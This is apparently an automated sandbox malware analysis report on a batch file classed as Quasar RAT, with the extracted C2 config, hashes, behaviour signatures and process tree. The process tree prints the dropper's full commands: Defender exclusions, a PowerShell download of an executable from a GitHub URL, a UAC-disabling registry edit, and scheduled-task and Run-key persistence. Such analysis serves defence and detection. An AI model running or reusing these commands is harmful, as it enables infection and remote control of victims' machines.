Analysis

  • max time kernel
    136s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/08/2024, 12:57

General

  • Target

    -.bat.fud.bat

  • Size

    8KB

  • MD5

    5f6b1db506b37d5de1b52d70f1a42b1d

  • SHA1

    df4baf61c956eccd919deb74b1fdd7dc9d319926

  • SHA256

    7680d0a8ddfaa5802cc5b3f658fb24b1a1df3c19121cb7e365c9fd3dbbf70213

  • SHA512

    c574a8872a4954caacd25e4ddb5d594bbc27d363ea7a8e1343963c2413d960d6891797c0ede0b3bc7365cf3628d5eb8a39a1b5d70fe87b7e72b51fcadf3829ee

  • SSDEEP

    192:Y+pkh/m0cbdoW/CX2bKesv6jcNQbWZdtJiO4qsGJ3nI1M0:YVh/VY7/CX2bTaZdHiFqfRIB

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

%PAYLOAD%

C2

66.66.66.66:6666

66.6v6.66.66:6666

v:6666

147.185.221.21:55609

8.8.8.8:80

1.1.11.1.1.1.1:443

1.1.1.1:443

Mutex

1e59bb04-60ad-4948-8fa2-6b679edd04ba

Attributes
  • encryption_key

    070CDBCBB8132B62B93E1CB06630D9221F0FFA4A

  • install_name

    UnderControl.exe

  • log_directory

    Logs

  • reconnect_delay

    2000

  • startup_key

    uno

  • subdirectory

    Microsoft

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in System32 directory 5 IoCs
  • Modifies registry key 1 TTPs 4 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\-.bat.fud.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:64
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3256
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:1616
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\PP2'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4108
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\Microsoft'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4932
      • C:\Windows\system32\attrib.exe
        attrib +h "PP2" /s/d
        2⤵
        • Views/modifies file attributes
        PID:3192
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Powershell -Command "Invoke-Webrequest 'https://github.com/AdeebToPro/-/raw/main/Die.exe' -OutFile Die.exe"
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4612
      • C:\Windows\system32\reg.exe
        reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        2⤵
        • UAC bypass
        • Modifies registry key
        PID:3512
      • C:\Users\Admin\AppData\Local\PP2\Die.exe
        Die.exe
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4892
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "uno" /sc ONLOGON /tr "C:\Windows\system32\Microsoft\UnderControl.exe" /rl HIGHEST /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4212
        • C:\Windows\system32\Microsoft\UnderControl.exe
          "C:\Windows\system32\Microsoft\UnderControl.exe"
          3⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3736
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "uno" /sc ONLOGON /tr "C:\Windows\system32\Microsoft\UnderControl.exe" /rl HIGHEST /f
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4564
      • C:\Windows\system32\attrib.exe
        attrib +h "C:\Users\Admin\AppData\Local\PP2\Die.exe" /s /d
        2⤵
        • Views/modifies file attributes
        PID:3996
      • C:\Windows\system32\reg.exe
        reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v - /t REG_SZ /d "C:\Users\Admin\AppData\Local\PP2\Die.exe" /f
        2⤵
        • Adds Run key to start application
        • Modifies registry key
        PID:3244
      • C:\Windows\system32\reg.exe
        reg ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v - /t REG_SZ /d "C:\Windows\System32\Microsoft\UnderControl.exe\" /f
        2⤵
        • Adds Run key to start application
        • Modifies registry key
        PID:1284
      • C:\Windows\system32\reg.exe
        reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v - /t REG_SZ /d "C:\Users\Admin\AppData\Local\PP2\Die.exe" /f
        2⤵
        • Adds Run key to start application
        • Modifies registry key
        PID:4512

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      6d42b6da621e8df5674e26b799c8e2aa

      SHA1

      ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

      SHA256

      5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

      SHA512

      53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      da5c82b0e070047f7377042d08093ff4

      SHA1

      89d05987cd60828cca516c5c40c18935c35e8bd3

      SHA256

      77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5

      SHA512

      7360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b

    • C:\Users\Admin\AppData\Local\PP2\Die.exe

      Filesize

      3.2MB

      MD5

      fbcff1aa50bc5a65015472fe1ad0b654

      SHA1

      c01de71f6e14427c9120d0a18fb2129eeda8ce2e

      SHA256

      0fff7004883e865d1eef661d4a7409e75d7c1393902dc483c26a280aecfa4e03

      SHA512

      835b0a86167334f3a2bc74a6d076216335aceffc46c8559285c886088743934a2252f49d4ce97ef90dbc6799815903513c336856869582d051eb5b6d37d4b266

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zdqnvss4.vif.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3736-54-0x000000001C5E0000-0x000000001C630000-memory.dmp

      Filesize

      320KB

    • memory/3736-55-0x000000001C6F0000-0x000000001C7A2000-memory.dmp

      Filesize

      712KB

    • memory/4108-12-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

      Filesize

      10.8MB

    • memory/4108-15-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

      Filesize

      10.8MB

    • memory/4108-0-0x00007FFC00D93000-0x00007FFC00D95000-memory.dmp

      Filesize

      8KB

    • memory/4108-11-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

      Filesize

      10.8MB

    • memory/4108-6-0x0000015E65750000-0x0000015E65772000-memory.dmp

      Filesize

      136KB

    • memory/4892-47-0x0000000000040000-0x000000000036C000-memory.dmp

      Filesize

      3.2MB

    • memory/4932-27-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

      Filesize

      10.8MB

    • memory/4932-26-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

      Filesize

      10.8MB

    • memory/4932-29-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

      Filesize

      10.8MB

    • memory/4932-31-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

      Filesize

      10.8MB